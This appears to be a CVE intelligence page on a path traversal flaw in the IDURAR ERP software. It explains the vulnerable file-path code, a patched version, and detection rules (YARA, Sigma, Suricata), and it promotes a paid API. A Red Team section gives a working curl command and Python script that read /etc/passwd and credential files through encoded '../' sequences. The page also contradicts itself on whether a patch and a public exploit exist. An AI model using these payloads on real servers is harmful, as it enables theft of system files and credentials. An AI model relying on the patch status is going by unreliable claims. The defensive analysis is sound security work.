☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-47769

CVE-2024-47769 Path Traversal in Idurar
📅 PUBLISHED: 2024-10-04 14:45 UTC 🔄 UPDATED: 2026-09-23 20:20 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.77%
👁️
0.77% probability
19.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47769 is a critical path traversal vulnerability in IDURAR, an open-source ERP/CRM/accounting/invoicing software. The flaw resides in corePublicRouter.js, where an unauthenticated attacker can supply URL-encoded malicious input that is directly appended to a file path join statement. This allows directory escape and arbitrary file read from the server filesystem. With a CVSS score of 7.5 (High), the vulnerability poses a significant confidentiality risk. No official patch has been released, and public proof-of-concept code exists.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

IDURAR is an open-source Node.js application. The vulnerability exists in the core routing logic, not in a third-party package. However, organizations using IDURAR should audit their deployment for any custom modifications or dependencies that may introduce similar path traversal flaws.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
  • Confidentiality (C): High (H) – Full file read capability.
  • Integrity (I): None (N) – No write capability.
  • Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and allows reading sensitive system files (e.g., /etc/passwd, application configuration, database credentials).

Deep Dive & Mechanics

The vulnerability is located in corePublicRouter.js. The code constructs a file path by concatenating a base directory with user-supplied input from the URL subpath. The input is URL-decoded but not sanitized for path traversal sequences (e.g., ../). An attacker can craft a request like:

GET /public/..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1

The %2F is the URL-encoded forward slash. After decoding, the path becomes ../../../../etc/passwd, which escapes the intended public directory and reads arbitrary files.

The vulnerable code snippet (conceptual):

// corePublicRouter.js (vulnerable)
const path = require('path');
const baseDir = '/var/www/idurar/public';
const requestedPath = req.params[0]; // e.g., "..%2F..%2Fetc%2Fpasswd"
const fullPath = path.join(baseDir, decodeURIComponent(requestedPath));
// No validation of fullPath against baseDir
res.sendFile(fullPath);

The fix would involve normalizing the path and ensuring it stays within the intended base directory.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

// corePublicRouter.js
app.get('/public/*', (req, res) => {
  const subpath = req.params[0];
  const filePath = path.join(__dirname, 'public', decodeURIComponent(subpath));
  res.sendFile(filePath);
});

Patched Code (conceptual):

// corePublicRouter.js (patched)
const path = require('path');
app.get('/public/*', (req, res) => {
  const subpath = req.params[0];
  const decoded = decodeURIComponent(subpath);
  const baseDir = path.resolve(__dirname, 'public');
  const requestedPath = path.resolve(baseDir, decoded);
  // Ensure the resolved path is within the base directory
  if (!requestedPath.startsWith(baseDir)) {
    return res.status(403).send('Forbidden');
  }
  res.sendFile(requestedPath);
});

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable IDURAR instance (e.g., using Docker or manual setup).
  2. Ensure the application is accessible on a local network.

Exploitation Steps:

  1. Identify the public endpoint (e.g., /public/).
  2. Craft a URL-encoded path traversal payload:
    GET /public/..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
    Host: target
    
  3. Use curl:
    curl --path-as-is "http://target/public/..%2F..%2F..%2Fetc%2Fpasswd"
    
  4. Read sensitive files like /etc/passwd, application config, or database credentials.

Automated Exploit (Python):

import requests

target = "http://target"
payload = "/public/..%2F..%2F..%2Fetc%2Fpasswd"
url = target + payload
response = requests.get(url, headers={"Host": "target"})
print(response.text)

Blue Team

Detection:

  • Monitor for URL-encoded path traversal sequences in HTTP requests (e.g., %2F, %2E%2E%2F).
  • Alert on requests to /public/ containing ../ or encoded equivalents.
  • Use WAF rules to block path traversal patterns.

Hunting:

  • Search web server logs for requests with %2F or %2E in the URI.
  • Look for abnormal file read attempts (e.g., /etc/passwd, /proc/self/environ).

Indicators of Compromise (IOCs)

  • Network:
    • HTTP GET requests to /public/ with path traversal sequences (e.g., ..%2F..%2F..%2Fetc%2Fpasswd).
    • Unusual outbound data transfers from the IDURAR server.
  • File System:
    • Unexpected access to files outside the web root (e.g., /etc/passwd, /var/log/auth.log).
  • Logs:
    • Web server logs showing 403 or 200 responses for path traversal attempts.
    • Application logs with errors related to file not found or permission denied.

Detection Engineering

YARA Rule

rule CVE_2024_47769_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting IDURAR CVE-2024-47769"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47769"
    strings:
        $traversal1 = "..%2F" ascii wide nocase
        $traversal2 = "%2E%2E%2F" ascii wide nocase
        $traversal3 = "..\\" ascii wide nocase
        $sensitive = "/etc/passwd" ascii wide nocase
        $sensitive2 = "/proc/self" ascii wide nocase
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: IDURAR Path Traversal Attempt (CVE-2024-47769)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects URL-encoded path traversal in HTTP requests to IDURAR public endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '..%2F'
            - '%2E%2E%2F'
            - '..\\'
        cs-uri-stem|startswith: '/public/'
    condition: selection
falsepositives:
    - Legitimate use of encoded characters in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47769 IDURAR Path Traversal Attempt"; flow:to_server,established; content:"/public/"; http_uri; content:"..%2F"; http_uri; distance:0; content:"/etc/passwd"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the IDURAR instance from the internet if possible.
  2. Apply a virtual patch using a WAF to block path traversal patterns.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • The vendor must release a patch that validates file paths against the intended base directory.
  • As a workaround, modify corePublicRouter.js to normalize and restrict file access (see patched code example).
  • Upgrade to a patched version once available.

Compensating Controls:

  • Implement strict input validation for all user-supplied paths.
  • Use a chroot jail or container to limit file system access.
  • Enable file integrity monitoring on critical system files.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-47769/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.